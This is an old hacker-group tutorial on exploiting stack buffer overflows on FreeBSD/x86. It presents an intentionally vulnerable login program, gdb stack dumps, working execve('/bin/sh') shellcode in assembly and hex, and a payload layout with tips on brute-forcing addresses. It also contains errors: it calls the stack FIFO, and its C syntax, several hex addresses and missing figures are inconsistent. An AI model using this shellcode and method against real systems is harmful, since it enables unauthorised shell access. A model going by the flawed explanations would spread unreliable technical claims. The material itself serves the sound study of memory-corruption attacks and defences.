Stack overflows
By Burebista (aanton@reversedhell.net)

This article will present the most easily exploitable vulnerability and also the most common found in the wild, the stack overflow. Basic rudiments of network hacking are required in order to clearly understand. If they are missing, please read my paper entitled "Basic rudiments of network hacking", having the only purpose to facilitate the reading of my hacking papers.

I will only discuss the UNIX system here.

Still, I will refresh your memory with few of the notions I am going to interfere with while describing the phenomenon.

The stack is a data structure working in the FIFO standard, which stands For First In and First Out. This means data can be inserted into the stack space or popped out of the stack space only one way. Imagine the stack like a cylinder, which has one of its holes bottomed. One can push balls into the stack or pop them out at only one end of the cylinder. This means, the next popped out ball will be the last pushed inside one. That is the FIFO concept.

![Diagram of a stack](image)

When a program file is being executed, the contents of it are memory mapped in a special way.

The highest memory contains the program's environment and it's arguments received from command line (environment strings, environment pointers, command line argument strings, etc).

The next part of the memory consists of two subsections, the stack and the heap. Those are allocated at run time by the operating system.

The stack contains function arguments used in the program, local variables, and some data used to reconstruct the state of the stack space when a
procedure or function call ends and returns back to the caller (we will come back to this a bit later).

Dynamically allocated variables are stored into the heap space.

Global variables are stored in the .bss and the .data sections of memory. They are allocated and arranged when the software is compiled.

The .bss section contains uninitialized data, while the .data section stores initialized static data.

The last memory sections is the .text, and it contains the computer instructions (opcodes) which resemble the program itself.

Example:

```c
int main (void){
    static int i; // .bss variable
    ...
}
```

```c
char ch; // .bss variable
int main (void){
    ...
}
```

```c
int main (void){
    char buf[]="Hacked!"; // .data variable
    ...
}
```

```c
int main (void){
    char tmpbuf=malloc(500); // .heap variable
    ...
}
```
It is easier to split a program code in functions and procedures, for better source code organization and algorithm design.

A stack frame is a virtual block inside the stack assigned for a function call.

On UNIX, a function call can be divided in three steps:

- **The prologue** – the frame pointer is saved (pushed on the stack)
- **The call** – the function parameters are pushed onto the stack and the EIP too in order to save it’s current value, then EIP gets modified to point to the address of the called function
- **The epilogue** – the old stack state is restored and EIP takes back the value of the previously saved address
```c
int sum (int x, int y){
    int tmp;
    tmp:=x+y;
    return tmp;
}

int main (void){
    sum(10,17);
    ...
}
```

Let us disassemble the code snippet:

```
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048478 <main>:      push   %ebp
0x8048479 <main+1>:    mov    %esp,%ebp
0x804847b <main+3>:    sub    $0x8,%esp
```

That is the prologue of function main. We look further, for the function sum:

```
0x804847e <main+6>:    add    $0xffffffff,%esp
0x8048481 <main+9>:    push   $0x11
0x8048483 <main+11>:   push   $0xa
```

and right away the function sum is being called:

```
0x8048485 <main+13>:   call   0x8048458 <sum>
```
and function `main` return step:

```
0x804848a <main+18>:    add    $0x10,%es
0x804848d <main+21>:    leave
0x804848e <main+22>:    ret
```

Now let's disassemble function `sum`:

```
(gdb) disassemble sum
Dump of assembler code for function sum:
0x8048458 <sum>:        push   %ebp
0x8048459 <sum+1>:      mov    %esp,%ebp
0x804845b <sum+3>:      sub    $0x18,%esp
0x804845e <sum+6>:      mov    0x8(%ebp),%eax
0x8048461 <sum+9>:      mov    0xc(%ebp),%edx
0x8048464 <sum+12>:     lea    (%edx,%eax,1),%ecx
0x8048467 <sum+15>:     mov    %ecx,0xfffffffc(%ebp)
0x804846a <sum+18>:     mov    0xfffffffc(%ebp),%edx
0x804846d <sum+21>:     mov    %edx,%eax
0x804846f <sum+23>:     jmp    0x8048474 <sum+28>
0x8048471 <sum+25>:     lea    0x0(%esi),%esi
0x8048474 <sum+28>:     leave
0x8048475 <sum+29>:     ret
```

A string is represented in memory as an array of bytes terminated by the NULL byte. For example, the word “burebista” will be represented as:

```
B U R E B I S T A \0
```

In C, a string is referenced by a pointer to the first character in the table, and thus the string is considered to be ended when the next byte in memory is zero, in other words when the next character in the array is ‘\0’, which stands for zero.

Thus, the string “burebista” is referenced by a pointer to the first ‘b’ and ends when the ‘\0’ character is found.

The smallest unit memory size for stacks is generally a word, which is a data structure having the length of 4 bytes. Because of this, a 13 characters string will require space for 16 characters in order to be stored on the stack, and this means there will be 3 unused bytes. That is not wonderfull but this is how memory is structured and it is optimal when considering low level computer architecture background.

Because of the way C-like programs store the strings in memory, it is not possible to automatically determine the exact size of the buffers and this is how errors occur. The reason string buffers are stored this way is mainly the need for speed and resource optimizations, hardware requirements. UNIX systems are extremely performant.
A totally error safe data structure would attach another variable to each of the buffers, specifying their sizes. Then, memory operations which imply writing data to the stack would always take care how much amount of data they can safely store and where to allocate memory and how, in such a way, that buffers do not begin to overlap in memory.

```c
int main (void)
{
    char user[50];
    char pass[12];

    printf("Welcome to Beast Login\n");
    printf("login:");
    scanf("%s",user);
    printf("pass:");
    scanf("%s",pass);
    printf("login is %s\n",user);
    printf("pass is %s\n",pass);
    printf("Login incorrect\n");
}
```

This piece of code will prompt for login and pass, and serves as tool to play and demonstrate the buffer overlapping bugs.

Before we start, please note that on Intel architectures, like x86, the stack is upside-down. That means the word burebista will be stored in reversed order, as:

```
\0 A T S I B E R U B
```

This is important in order not to get confused while we play. The stack is a FIFO data structure. Let’s play:

```
login:burebista
pass:noidea
login is burebista
pass is noidea

login:burebista
pass:verylongaaaaaaaaaaaaaaaaaaaaaaaa
login is aaaaaaaaaaaaaaaaaaaaaaaaa
pass is verylongaaaaaaaaaaaaaaaaaaaaaaaa
```

As you can see, the space allocated for password is only 12 bytes and everything else we enter more, we will overflow the adjacent memory space. Login username was the last variable right before password, in the sourcecode, so if we enter more then 12 bytes we will begin to overflow the username:
Good, so far so good, we overlapped the buffers. This is what happens:

12 bytes space for password

So this is how data on the stack gets overwritten with arbitrary bytes.

When a function is called, the return address is stored right in the stack and when the function returns, the return address is popped out from the stack into EIP, so EIP = saved return address, which means that the next instruction will be executed from the address EIP points to, and that will always be right after the call instruction from the calling function. Let us remember our sum function we used for describing function subdivisions and stack frames.

That was the main function of the program. At main+13 it calls the sum function, which, after it gets executed, will return at main+18. So this means the return address for it is 0x804848a.
(gdb) break sum
Breakpoint 1 at 0x804845e
(gdb) c
The program is not being run.
(gdb) run
Starting program: /hsphere/local/home/aanton/tmp/sum
(no debugging symbols found)...(no debugging symbols found)...Breakpoint 1, 0x804845e in sum ()
(gdb) disassemble sum
Dump of assembler code for function sum:
0x8048458 <sum>: push %ebp
0x8048459 <sum+1>: mov %esp,%ebp
0x804845b <sum+3>: sub $0x18,%esp
0x804845e <sum+6>: mov 0x8(%ebp),%eax
0x8048461 <sum+9>: mov 0xc(%ebp),%edx
0x8048464 <sum+12>: lea (%edx,%eax,1),%ecx
0x8048467 <sum+15>: mov %ecx,0xfffffffff(%ebp)
0x804846e <sum+18>: mov 0xfffffffff(%ebp),%edx
0x804846d <sum+21>: mov %edx,%eax
0x804846f <sum+23>: jmp 0x8048474 <sum+28>
0x8048471 <sum+25>: lea 0x0(%esi),%esi
0x8048474 <sum+28>: leave
0x8048475 <sum+29>: ret
0x8048476 <sum+30>: mov %esi,%esi
End of assembler dump.

At <sum+29> EIP will take the value 0x804848a and the execution flow will continue from <main+18>.
I said 0x804848a is stored on the stack. Here it is:

(gdb) info all-registers
ea 0x0
ecx 0xbfbffccbf -1077936949
dx 0x80484c0 134513856
bx 0x1
esp 0xbfbffbb50 0xbfbffbb50
ebp 0xbfbffbb68 0xbfbffbb68
esi 0xbfbffbbdc -1077937188
edi 0xbfbffbb4 0xbfbffbb4
ep 0x804845e 0x804845e
flags 0x286 646
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) x/100x 0xbfbffbb50
0xbfbffbb50: 0xbfbffbb80 0x2804ba7f 0x28061040 0x00000000
0xbfbffbc60: 0xbfbffbb80 0x2804ba1f 0xbfbffbb88 0x0804848a
The same thing is going on with the vulnerable login code I showed you. The function main is called within the function \_start(). Here is the disassemble of \_start:

```
(gdb) break start
Breakpoint 1 at 0x80483f1
(gdb) run
Breakpoint 1, 0x80483f1 in _start ()
(gdb) disassemble _start
Dump of assembler code for function _start:
0x80483e8 <_start>:     push   %ebp
0x80483e9 <_start+1>:   mov    %esp,%ebp
0x80483eb <_start+3>:   sub    $0xc,%esp
0x80483ee <_start+6>:   push   %edi
0x80483ef <_start+7>:   push   %esi
0x80483f0 <_start+8>:   push   %ebx
0x80483f1 <_start+9>:   mov    %edx,%edx
0x80483f3 <_start+11>:  lea    0x8(%ebp),%esi
0x80483f6 <_start+14>:  mov    0xfffffffc(%esi),%ebx
0x80483f9 <_start+17>:  lea    0x4(%esi, %ebx,4),%edi
0x80483fd <_start+21>:  mov    %edi,0x80496b8
0x8048403 <_start+27>:  test   %ebx,%ebx
0x8048405 <_start+29>:  jle    0x8048430 <_start+72>
0x8048407 <_start+31>:  cmp    $0x0,0x8(%ebp)
0x804840b <_start+35>:  je     0x8048430 <_start+72>
0x804840d <_start+37>:  mov    0x8(%ebp),%eax
0x8048410 <_start+40>:  mov    %eax,0x80495cc
0x8048415 <_start+45>:  cmpb   $0x0,(%eax)
0x8048418 <_start+48>:  je     0x8048430 <_start+72>
0x804841a <_start+50>:  mov    %esi, %esi
0x804841c <_start+52>:  cmpb   $0x2f,(%eax)
0x804841f <_start+55>:  jne    0x804842a <_start+66>
0x8048421 <_start+57>:  lea    0x1(%eax),%ecx
0x8048424 <_start+60>:  mov    %ecx,0x80495cc
0x804842a <_start+66>:  inc    %eax
0x804842b <_start+67>:  cmpb   $0x0, (%eax)
0x804842e <_start+70>:  jne    0x804841c <_start+52>
0x8048430 <_start+72>:  mov    $0x80495dc,%eax
0x8048435 <_start+77>:  test   %eax,%eax
0x8048437 <_start+79>:  je     0x8048445 <_start+93>
0x8048439 <_start+81>:  add    $0xffffffff4,%esp
0x804843c <_start+84>:  push   %edx
0x804843d <_start+85>:  call   0x80483b8 <atexit>
0x8048442 <_start+90>:  add    $0x10,%esp
0x8048445 <_start+93>:  add    $0xffffffff4,%esp
0x8048448 <_start+96>:  push   $0x804859c
0x804844d <_start+101>: call 0x80483b8 <atexit>
0x8048452 <_start+106>: call 0x80483b8 <_init>
0x8048457 <_start+111>: add    $0xffffffff4,%esp
0x804845a <_start+114>: add    $0xffffffff4,%esp
0x804845d <_start+117>: push   %edi
0x804845e <_start+118>: push   %esi
```
So when *main* returns, it will return right after the call, at `<_start+125>`. The value of 0x8048465 is the return address and must be stored somewhere into the stack. Further, let’s find it’s location (*the retloc*):

```
(gdb) break main
Breakpoint 2 at 0x80484fa
(gdb) c
Continuing.
Breakpoint 2, 0x80484fa in main ()
(gdb) info register esp
esp      0xbfbffb44  0xbfbffb44
(gdb) x/50x 0xbfbffb44
0xbfbffb44:     0xbfbffb84      0x2804ba4c      0x0000000a      0x28060000
0xbfbffb54:     0xbfbffb84      0x2804ba7f      0x28061040      0x00000000
0xbfbffb64:     0xbfbffb84      0x2804ba1b      0x00000001      0xbfbffbe0
0xbfbffb74:     0xbfbffbe8      0xbfbffbe0      0x00000000      0x28060100
0xbfbffb84:     0xbfbffbd8      0x2804b435      0x28060000      0x8048465
```

So *retloc=0xbfbff90*, meaning the return address is stored at 0xbfbff90, an address inside the stack.

```
(gdb) x/x 0xbfbff90
0xbfbff90: 0x08048465
```

When the main function returns, EIP will take the value stored at retloc, so in this case 0x08048465, and the code execution will continue from that address (which is back to the function _start from where main was called).

I showed you that it is possible to overwrite the stack, by overlapping buffers. If the retloc gets overwritten, when the function main returns, EIP will point to the overwritten value as address and normal code execution flow will be changed, most of the times resulting in a program crash, for trying to access data at an invalid address which is not mapped in the program’s memory:
The hexadecimal value for the ASCII code of X is 58. I filled the password buffer with the first 12 bytes 123...12, then I filled the buffer size allocated for login with the 50 bytes of A (represented as 41 as hexadecimal ASCII code) and then the fatal 10 bytes of X where the last 4 are fatal because they overwrite exactly the previously found retloc.

The program crashes trying to execute code from address 0x58585858 which is not even mapped in the memory program, so the operating system terminates the process with a segmentation fault error code.

To be more accurate:

I will overwrite the address with something more useful, but first I need to get some address again:
I want to know where the big buffer I overwrite (password+username) begins, so I had to look back starting from a lower address than the current stack pointer (esp), because the x86 stack is reversed, as I already said.

The red 0x41414141 is the place where there return address for function main was stored (the retloc).

So I got the buffer starts at 0xbfbff52:

I will overwrite the red 41s, meaning the retloc with the buffer address I just found, 0xbfbff52. By this, I will force the program to change it’s execution flow in such a way that, when the main function returns, data entered in the buffer (pass+username) will be interpreted as machine code (like it was from the .text section) and the CPU will try to execute it.

Obviously, “AAA..AAA” is no legitimate machine instruction (opcode), no matter how hard the CPU will try to understand it, and as a result, the program will crash.
But I will also try to insert valid opcodes in the buffer, so the CPU will actually manage to execute them.

I have decided to try instruct the CPU for a `execve("/bin/sh")` call. If successful, instead of crashing, the program will jump into a full shell.

I am using a *BSD system, so:

```
cat /usr/src/sys/kern/syscalls.master | grep execve
59  STD  POSIX  { int execve(char *fname, char **argv, char **envv); }
cat /usr/src/sys/kern/syscalls.master | grep exit
1  STD  NOHIDE  { void sys_exit(int rval); } exit sys_exit_args void
```

FreeBSD uses the C calling convention, and the system gets into kernel mode when an `int 80h` is issued. However, the kernel expects the interrupt to be issued from within a called function, rather than directly.

```
BITS 32
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
push esp
push ebx
mov al, 59
push eax
int 0x80
xor eax, eax
inc eax
push eax
dec eax
int 0x80
```

Now I compiled that code with nasm in a binary file, in order to find out the opcodes (how it is translated into machine code by the CPU):

```
%nasm sc.S
```
So I got hellcode (called shellcode by others) to be like this:

```c
char hellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x50\x53\x50\x54\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x40\x50\x48"
    "\xcd\x80";
```

This *hellcode* is 32 bytes long, it doesn’t even get out of the 50+12 safe to fill buffer space, so no more trickery is needed. I am going to insert the hellcode at the beginning of the buffer, by injecting it instead of password. I also must concatenate to it’s end 50+12+10-32-4 bytes which can be anything, for example ‘A’, or just some punk manifesto message. Then the result must be concatenated to it’s end with the 4 bytes of which the buffer address consists, meaning 0xbfbff52, so BF BF FB 52.

<table>
<thead>
<tr>
<th>HELLCODE</th>
<th>AAAAAA</th>
<th>BUFADDR</th>
</tr>
</thead>
</table>

In order to test, I used this code:
It sets up the environment variable $EGG which contains the prepared buffer for exploitation, so:

```bash
$printf "burebista\n$EGG" | ./v
login:pass:<garbage>
$
```

**Please note** that all the parameters get slightly modified when using this method for help, I mean when setting up environment variables and spawning a subsequent shell. That’s why, especially on *BSD, things get nasty and harder, and the best way becomes to implement a small bruteforcer which will get lucky in a small number of tries. The reason is the changes which appear in the environment variables, when issuing a subsequent shell. They may force `retloc` and `buffaddr` to change.

Also the values I found for those code snippets will be different on another system, having different libc libraries and running different operating systems, and so on.

However, by combining bruteforcing and considering some ranges for the values where to bruteforce, it is easy to get successful results. Aproximating the values for the range is easy and all what is required is fundamental basic knowledge of the target system, for example that it is running Red Hat linux with a 2.4.x kernel version. Knowing the vulnerable program code is decisive.
Special thanks to the whole Reversed Hell Networks Team and the Undernet #cracking channel.

Special greetings to Animadei and Undertaker with the call for bidirectional peace and friendship.

Greetings to smfcs and our sister channel #asm from Undernet.

Profound and deep thanks to those who already know themselves. Thank you.

A mutual thanks to everyone who ever gave back something in return.

Only allowed to be published at http://www.reversedhell.net/